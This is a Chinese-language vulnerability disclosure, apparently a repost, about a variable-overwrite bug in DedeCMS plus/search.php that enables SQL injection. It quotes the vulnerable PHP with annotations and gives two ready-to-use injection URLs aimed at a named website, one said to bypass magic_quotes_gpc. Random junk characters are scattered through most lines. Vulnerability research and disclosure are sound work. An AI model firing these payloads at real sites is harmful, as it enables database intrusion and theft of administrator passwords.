微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
9 u3 H2 U. r. ~' q8 a/ |% J作者: c4rp3nt3r@0x50sec.org5 q b. B0 _ K% t+ O
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
3 | J$ ?$ Q9 Z
; L0 m1 f. s$ v4 }: j黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
- c$ s8 |/ @" F) K( ^ 5 a) L" Z8 ^" d; }
============
, j+ I( j: Q* K: B [
8 f3 |6 W' Z4 P4 I/ w V" S- {0 l' l; M; D
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.; {- J6 V* m( n5 Y# G
; G0 Y/ L& W: Y6 T- _& @6 _, ?4 T4 nrequire_once(dirname(__FILE__).”/../include/common.inc.php”);$ G8 A: L( D t: e6 i. ~
require_once(DEDEINC.”/arc.searchview.class.php”);
2 E! b5 W! B6 k* \5 L ) E$ B8 N! J8 R" J
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
7 s& w3 I; _# N$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;$ v( ~5 Q5 O. G
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
% @- D0 s3 O8 F" Y$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
1 ^5 v1 X6 q$ [9 ~# C/ o$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
$ [: ?( l7 V. n6 R4 n( T Z
: r7 V0 O8 m/ w4 ?if(!isset($orderby)) $orderby=”;/ U$ N5 \2 R4 q! M( c+ u7 T
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
: G2 r" a# _0 j; y$ g o
7 u3 O' L1 x5 H/ X # C( l5 e9 w3 P2 x# ?
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
1 e5 h8 o8 s6 b. gelse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
( o; [4 S3 R u2 \1 R
0 C* H( x+ b+ Z8 g( aif(!isset($keyword)){! K) c" R% M4 F# M8 o+ \
if(!isset($q)) $q = ”;
3 n6 z4 A, n% T $keyword=$q;
& |$ V; @2 K5 v. T% ?4 X}( y2 i/ c p+ w' {. `; s; k/ W
" F+ E2 [9 K% q W% d$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));: E( r6 c4 `% E# ^- u
( ]) o% N" \4 A//查找栏目信息$ u9 \# b7 |, \
if(empty($typeid))
6 V/ [# z+ _0 `, P6 \3 L) `{0 ~" b* {; A# \& u+ S
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;1 B" i3 P4 x3 E1 r) F4 z
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )1 A. M. h4 r7 t0 e) K8 Y" X
{1 [5 B' g, K: f, w
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);/ E( ?$ A e- Q3 u) T4 _, d, D
fwrite($fp, “<”.”?php\r\n”);9 I8 p% }$ z) Q& v# @- a; f+ [
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);; |+ X( ~: k; W$ B# v) l: S: Q/ D
$dsql->Execute();
2 H: s3 t( z5 ?7 T1 d/ n1 o* P while($row = $dsql->GetArray())
4 h2 J0 m b, t" F9 o, |2 T6 _ {
1 c; v+ X- W% i& C- H3 v1 `- B fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);) e% j4 F/ G; e8 |. N
}
. z% ~; V: n4 p- C) j& [ fwrite($fp, ‘?’.'>’); _% o# j4 K/ P# G$ P& ~# T1 O: e
fclose($fp);
( e' f. H/ y; u }) v9 Z# r9 W1 j
//引入栏目缓存并看关键字是否有相关栏目内容
0 L' y9 P# T9 |) j9 C1 w' k require_once($typenameCacheFile);
9 |) E$ g2 l2 r1 B m//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个" ]; z0 }0 b& K* M- e/ C- V9 l
//
) P- P5 S) @; Q if(isset($typeArr) && is_array($typeArr))
) O; [( T& n5 l+ m {
( W8 j: D- Q; n foreach($typeArr as $id=>$typename)
. [! R p$ `; }: b7 U0 ?' R {+ @9 ? \: l4 S& G Y9 V" a
8 R# D j5 [7 C& l <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
4 O7 r7 m2 S% \- t* R6 j, u4 ]! E if($keyword != $keywordn)( A% M2 d3 X9 x F! T$ M1 l
{
$ k: d( E+ H5 z9 C2 Q/ _* ]7 U6 v $keyword = $keywordn;% q+ ~- O, r/ E2 X9 Z! ~& l l# e
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
+ h, U: p* G% w break;- {% G- M6 {2 B" @6 u$ x
}
9 h7 d# S1 w# }% i }2 N$ {1 b" x( T, B. V6 a1 f
}
, ?1 K9 q% y: Z! v* ~) O}, @* g; K" ^, H9 v0 F
然后plus/search.php文件下面定义了一个 Search类的对象 .1 ^1 f9 F: v# ^
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.( x- T$ ^* N1 V1 L4 s
$this->TypeLink = new TypeLink($typeid);
& k: N1 x& w5 M" x7 K4 A. Q) p % F& C% L' e6 P4 l1 b) ?5 V2 R! Q
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.8 Y2 H# e- b: m0 \
! u; d' |7 Z/ ^! n# s( Wclass TypeLink, q7 H! @5 M+ |: J( a/ j: T% T
{
9 s2 w* E0 P6 }) r1 [, N0 G" l var $typeDir;
& O# |* b9 Y1 `5 t& G O var $dsql;/ ~6 K8 Z5 r* W5 F0 P
var $TypeID;
" @" v2 b/ r4 D$ j8 s3 C5 i% ~ var $baseDir;
) @- R3 a4 V$ B' E1 O8 j; R) B6 V5 M7 Q1 } var $modDir;
/ M( X* i" ]% K' P6 ? var $indexUrl;# S& Q+ E' d- w6 d+ u
var $indexName;
: {; ]5 J4 {/ o1 i/ B var $TypeInfos;
4 R7 J# u* ?2 U2 Q" I var $SplitSymbol;
( z: E! P! f9 x5 D q/ l/ G5 D" s var $valuePosition;
* r& _' K3 c& u var $valuePositionName;
9 h( A, U" H' x- l% K1 m7 Q, H var $OptionArrayList;//构造函数///////
| D1 A [3 X //php5构造函数; x5 z! y9 [- P7 m" l. K% x
function __construct($typeid)8 q2 p& g# }* U: W% l- D
{
; |% t# u$ c) \4 y( o3 h2 K" w $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
8 K% o8 V& e. W, b1 P4 E $this->indexName = $GLOBALS['cfg_indexname'];) u% w0 `$ D8 F5 C. S
$this->baseDir = $GLOBALS['cfg_basedir'];
y" X! c" K. N3 C/ A+ o# I $this->modDir = $GLOBALS['cfg_templets_dir'];
C& _! I' p: P" B) B& K $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];& Y. P2 q) e1 s7 M; X: l# s, B
$this->dsql = $GLOBALS['dsql'];( M4 ?" X* x( J2 w' I" W* T
$this->TypeID = $typeid;
6 Z$ U" | t, B9 I6 y3 ^9 P4 U $this->valuePosition = ”;
0 Y" E# ?+ S! ~& r$ P. p( u $this->valuePositionName = ”;9 u! K4 y3 f" g# A5 s
$this->typeDir = ”;7 `8 H4 L1 q0 B2 }( F2 S- r$ y
$this->OptionArrayList = ”;
, m* Q3 H- t% D
2 g2 |7 U% ]" C' j5 X //载入类目信息7 n( |# }* H) I& z
% ^! Y: L. L, }% n <font color=”Red”>$query = “SELECT tp.*,ch.typename as
6 X, h# F7 V% }: H* cctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join- U) h( }# R3 t! G. S# u# A
`#@__channeltype` ch
, L; n) k3 _; ]2 _- } d, G on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿4 o1 p# R6 c% [! {3 ^- w3 m# a
8 v# \% _1 m J if($typeid > 0)& d7 s0 Y! P, h1 U, C; E
{
% Z$ A; q, Z, ? $this->TypeInfos = $this->dsql->GetOne($query);
! W5 h$ m0 |+ M7 J" S7 r! N! V利用代码一 需要 即使magic_quotes_gpc = Off5 r: g! D& V) C+ U7 W7 \
- K" r9 H6 [, U/ r' C2 k
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title! q/ c0 I6 I, n1 P, D
- T; m+ V- ~! }: @3 y8 Z2 u& g ]这只是其中一个利用代码… Search 类的构造函数再往下 C' M9 b; q" n
3 _! c+ b7 b7 {! o. x
……省略0 K# Y/ }/ @8 l" ^9 V* F; a
$this->TypeID = $typeid;5 H, `) o+ }2 h) ^# n- S4 X5 N1 K
……省略: l% |! O; V+ ~
if($this->TypeID==”0″){
2 u+ G/ }) T H; v! Z4 _ $this->ChannelTypeid=1;
4 F; ~& ? p5 u. R1 o o }else{
1 G2 q7 ]+ q0 h0 d0 ? $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
- s& l3 x/ r& o8 z' o" g5 R8 X//现在不鸡肋了吧亲…6 k1 C7 K; L) R2 O0 Z4 D
$this->ChannelTypeid=$row['channeltype'];
, Y" [. P8 X+ J! y, d $ x4 T$ y* s" Y
}
% i, e: ` n/ F+ P$ w7 h利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用., F% h- E+ w6 |# _' x- {2 q1 W
- Z1 K# ?* J' Z1 J
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
. N. J7 p& ~* b8 |- X0 n / }/ ^) \/ O+ |9 f7 t$ O" v1 D. D
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站* C* U9 A1 |; e) A9 I5 L, F
|